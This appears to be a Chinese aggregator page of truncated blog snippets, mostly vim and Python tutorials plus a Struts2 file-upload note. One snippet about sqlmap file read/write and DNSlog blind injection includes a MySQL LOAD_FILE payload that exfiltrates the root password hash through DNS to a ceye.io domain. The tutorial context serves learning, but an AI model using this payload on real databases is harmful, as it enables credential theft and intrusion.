vim 基础学习之文件跳转】的更多相关文章

1. ''-当前文件上次跳转之前的位置2. '.-当前文件上次修改的位置,只要是发生了可能导致变化的命令操作就会被标记,哪怕实际结果没有变化3. '^-当前文件上次插入的位置,只要是发生了插入操作命令就会被标记,哪怕实际结果没有变化4. '[-当前文件上次修改或者复制的起始位置,跟'.的区别还没有发现5. ']-当前文件上次修改或者复制的结束位置,跟'.的区别还没有发现6. '<-当前文件上次高亮选取的起始位置7. '>-当前文件上次高亮选取的结束位置 jumps我们平时的跳转操作,会有一个跳…
当我们使用vim看源码的时候,我们可能会碰到一个方法或者变量,我们想要知道这个变量在其他地方的使用情况.这时候我们经常的做法就是退出当前的文件,或者是重新切换一个终端,然后使用grep或者find等shell命令进行搜索.其实,我们完全可以在不离开文件的情况下,在vim的命令行中进行搜索. vim内部搜索有两种方式,一直就是调用外部的搜索工具进行搜索grep.另外一种就是自带的内部搜索vimgrep其中,grep允许我们就行设置,从而可以自主选择我们希望使用的搜索工具以及搜索结果样式.例如 我们…
1.文件处理相关 1.编码问题 ①python2与python3中的默认编码: py2默认使用ASCII码,py3默认使用utf-8 ②为什么会出现中文乱码,中文乱码的情况有哪些? #sys.stdout.encoding,默认就是locale的编码,print会用sys.stdout.encoding去encode()成字节流,交给terminal显示.所以,locale需要与terminal一致,才能正确print打印出中文 下面还是直接给大家介绍下可以正确打印出中文的方式咯: 终端为utf…
本人小白一枚,随着现在对测试要求越来越高,动不动就要去会一门编程语言,没办法只能学习学习Python,今天看到几个月前还是菜鸟的人突然就已经能使用Python写简单系统了,没办法,虽然之前也简单学习过Python,但是还是怒了,最近一直再看鱼C工作室的Python教程,为啥看这个?没为啥,因为讲解没那么死板咯,于是乎就找这个视频来看看,唯一的缺点就是练习题要钱,坑~~~~没办法,没钱人家怎么继续玩下去呢,好了不说废话了,进入今天的主题,由于之前27课看过了,也没写博客,没办法只能从28课写起了,…
:tabnew -创建新标签 :split(sp)-垂直分割窗口 如果没有打开新的文件,那么会打开原来窗口的文件 :vsplit(vsp)-水平分割窗口 如果没有打开新的文件,那么会打开原来窗口的文件 :prev-上一个参数列表 :bprev-上一个缓冲区列表 <C-w>-删除至上个单词开头 <C-u>-删除至行首 <C-r>+寄存器-调用寄存器里面的内容 :数字 == 数字+G 跳转到指定的行 :t -复制 :m - 粘贴…
本章我们学习自动补全功能1.自动补全优先从当前的编辑区获得补全列表例如:我们写下如下内容 aaaaa aabbb aaab 当我们再次输入aa,然后我们按下Tab的时候,会弹出一个包含 aaaaa aabbb aaab的列表触发补全模式的条件1.插入模式下 ctrl+p ctrl+n 或者Tab 同时,ctrl+p ctrl+n还能够上下移动选中补全列表项还有其他的补全方法,如下这些方法都是以ctrl + x来启动的,然后跟着你想要的补全样式 .<c-n>-普通关键字 .<c-x>…
sqlmap参数--file-read,从数据库服务器中读取文件--file-write,--file-dest,把文件上传到数据库服务器中 dnslog平台的学习和它在盲注中的应用1,判断注入点2,测试网站对DNSlog提供的url是否解析SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'))…
1:vim abc:如果有abc文件,则打开,否则创建之后打开 2:输入"i",才可以输入东西 3:按Esc,它是底行模式,再敲":wq 回车" 保存退出. 4:cat 命令:是查看文件内容 5:在vim文件中连续敲击两个D,删除此行 -----------------------------------------------------------磁盘管理命令----------------------------------------------------…
打开文件方法 open('xx') 注意,open后括号内加的是文件名,这里默认是当前文件的相对路径,如果不在当前文件层,需要绝对路径,默认打开方法是读取,即read,默认的解码器为当前系统的解码器windows的默认为GBK,写全了是这样:open('xx','r',encoding = 'gbk'). open()方法结果即是一个句柄,f = opne('xx') 记住,打开文件就一定要关闭文件,否则很占内存! 对文件操作的方法 读取,'r',即read的缩写,文件打开后,只能.仅能读取,其…
一.文件的上传 1.单个文件上传      Struts2使用拦截器完成了文件的上传,而且底层使用的也是FileUpload开源组件. 客户端注意事项: (1)method="post" (2)enctype="multipart/form-data" (3)<intput type="file" name="photo">   在Action编写文件上传时,需要定义三个属性. (1)文件类型File,属性名与表单…